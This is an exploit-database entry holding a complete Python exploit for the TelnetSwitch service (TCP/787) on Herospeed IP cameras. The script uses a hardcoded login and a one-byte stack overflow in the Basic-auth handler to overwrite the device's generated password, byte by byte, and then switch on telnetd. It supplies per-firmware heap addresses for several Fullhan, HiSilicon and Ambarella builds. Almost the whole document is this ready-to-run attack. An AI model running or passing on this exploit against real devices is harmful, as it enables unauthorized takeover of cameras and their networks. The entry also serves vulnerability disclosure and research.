Herospeed - 'TelnetSwitch' Remote Stack Overflow / Overwrite Password / Enable TelnetD



EKU-ID: 7349 CVE: OSVDB-ID:
Author: bashis Published: 2018-02-08 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/env python2.7
#
# Herospeed TelnetSwitch daemon running on TCP/787, for allowing enable of the telnetd.
# Where one small stack overflow allows us to overwrite the dynamicly generated password and enable telnetd.
#
# [Verified]
# 1) Fullhan IPC FH8830_F22_W_7.1.42.1
# 2) Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
# 3) HiSilicon 3518EV200_OV9732_W_7.1.25.1, 3519V100_IMX274_W_7.1.39.3
# 4) Ambarella s2l55m_imx123_W_7.1.25.2, S2E66_IMX178_W_7.1.3.4
#
# Author: bashis <mcw noemail eu>, 2018
#
import socket
import select
import sys
import argparse
import base64
import struct
import time
#
# Validate correctness of HOST, IP and PORT
#
class Validate:
 
    def __init__(self,verbose):
        self.verbose = verbose
 
    # Check if IP is valid
    def CheckIP(self,IP):
        self.IP = IP
 
        ip = self.IP.split('.')
        if len(ip) != 4:
            return False
        for tmp in ip:
            if not tmp.isdigit():
                return False
            i = int(tmp)
            if i < 0 or i > 255:
                return False
        return True
 
    # Check if PORT is valid
    def Port(self,PORT):
        self.PORT = PORT
 
        if int(self.PORT) < 1 or int(self.PORT) > 65535:
            return False
        else:
            return True
 
    # Check if HOST is valid
    def Host(self,HOST):
        self.HOST = HOST
 
        try:
            # Check valid IP
            socket.inet_aton(self.HOST) # Will generate exeption if we try with DNS or invalid IP
            # Now we check if it is correct typed IP
            if self.CheckIP(self.HOST):
                return self.HOST
            else:
                return False
        except socket.error as e:
            # Else check valid DNS name, and use the IP address
            try:
                self.HOST = socket.gethostbyname(self.HOST)
                return self.HOST
            except socket.error as e:
                return False
 
 
if __name__ == "__main__":
 
    INFO =  '\n[Herospeed TelnetSwitch pwn (2018 bashis <mcw noemail eu>)]\n'
    rhost = '192.168.57.20' # Default Remote HOST
    rport = 787         # Default Remote PORT
    BUFFER_SIZE = 1024
 
    try:
        arg_parser = argparse.ArgumentParser(
        prog=sys.argv[0],
                description=('[*] '+ INFO +' [*]'))
        arg_parser.add_argument('--rhost', required=True, help='Remote Target Address (IP/FQDN) [Default: '+ rhost +']')
        arg_parser.add_argument('--rport', required=False, help='Remote Target HTTP/HTTPS Port [Default: '+ str(rport) +']')
        args = arg_parser.parse_args()
    except Exception as e:
        print INFO,"\nError: {}\n".format(str(e))
        sys.exit(1)
 
    print INFO
    if args.rport:
        rport = int(args.rport)
 
    if args.rhost:
        rhost = args.rhost
        IP = args.rhost
 
    # Check if RPORT is valid
    if not Validate(True).Port(rport):
        print "[!] Invalid RPORT - Choose between 1 and 65535"
        sys.exit(1)
 
    # Check if RHOST is valid IP or FQDN, get IP back
    rhost = Validate(True).Host(rhost)
    if not rhost:
        print "[!] Invalid RHOST"
        sys.exit(1)
 
    timeout = 5
    socket.setdefaulttimeout(timeout)
 
    #
    # [Payload]
    #
 
    LOGIN = "Lucky787"      # Hardcoded login
    #
    # Fullhan IPC FH8830_F22_W_7.1.42.1
    # Fullhan FH8830_AR0330_FISHEYE_W_7.1.37.5
    #
    PASSWD = "\n\n\n\n\n\n\n\n\n\n\n\n" # Our new password, must be exactly 12 char, and must be '\n'
    MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
    BASE64_NULL = "A" * 232 # Decoded as 0x00 with base64 decode
    HEAP_PWD = 0x00016c8c # Start of the dynamicly generated password, located on heap
 
    #
    # HiSilicon 3518EV200_OV9732_W_7.1.25.1
    #
#   PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
#   MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#   BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#   HEAP_PWD = 0x00016990 # Start of the dynamicly generated password, located on heap
 
    #
    # HiSilicon 3519V100_IMX274_W_7.1.39.3
    #
#   PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
#   MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#   BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#   HEAP_PWD = 0x000267b0 # Start of the dynamicly generated password, located on heap
 
    #
    # Ambarella s2l55m_imx123_W_7.1.25.2
    #
#   PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
#   MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#   BASE64_NULL = "A" * 364 # Decoded as 0x00 with base64 decode
#   HEAP_PWD = 0x00014c3c # Start of the dynamicly generated password, located on heap
 
    #
    # Ambarella S2E66_IMX178_W_7.1.3.4
    #
#   PASSWD = "AAAAAAAAAAAA" # Our new password, must be exactly 12 char, and must be 'A'
#   MESSAGE =  ''+ LOGIN + ':' + PASSWD +''
#   BASE64_NULL = "A" * 108 # Decoded as 0x00 with base64 decode
#   HEAP_PWD = 0x00014c68 # Start of the dynamicly generated password, located on heap
 
    MESSAGE = base64.b64encode(bytes(MESSAGE))
    MESSAGE += BASE64_NULL
 
    #
    # Since the stack overflow writing with only one byte, we need overwrite the password one char at the time (looping twelve times)
    #
    for where in range(0, len(PASSWD)):
        OUT = "GET / HTTP/1.0\nAuthorization: Basic {}{}\n\n".format(MESSAGE,struct.pack('<L',HEAP_PWD)[:3])
        print "Writing to: {}".format(hex(HEAP_PWD))
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((rhost, rport))
        s.send(OUT)
        time.sleep(0.5)
        response = s.recv(BUFFER_SIZE).split()
        HEAP_PWD += 0x1 # Next address on heap
 
        if response[1]:
            if response[1] == "200":
                print "({}) OK, telnetd should be open!".format(response[1])
                break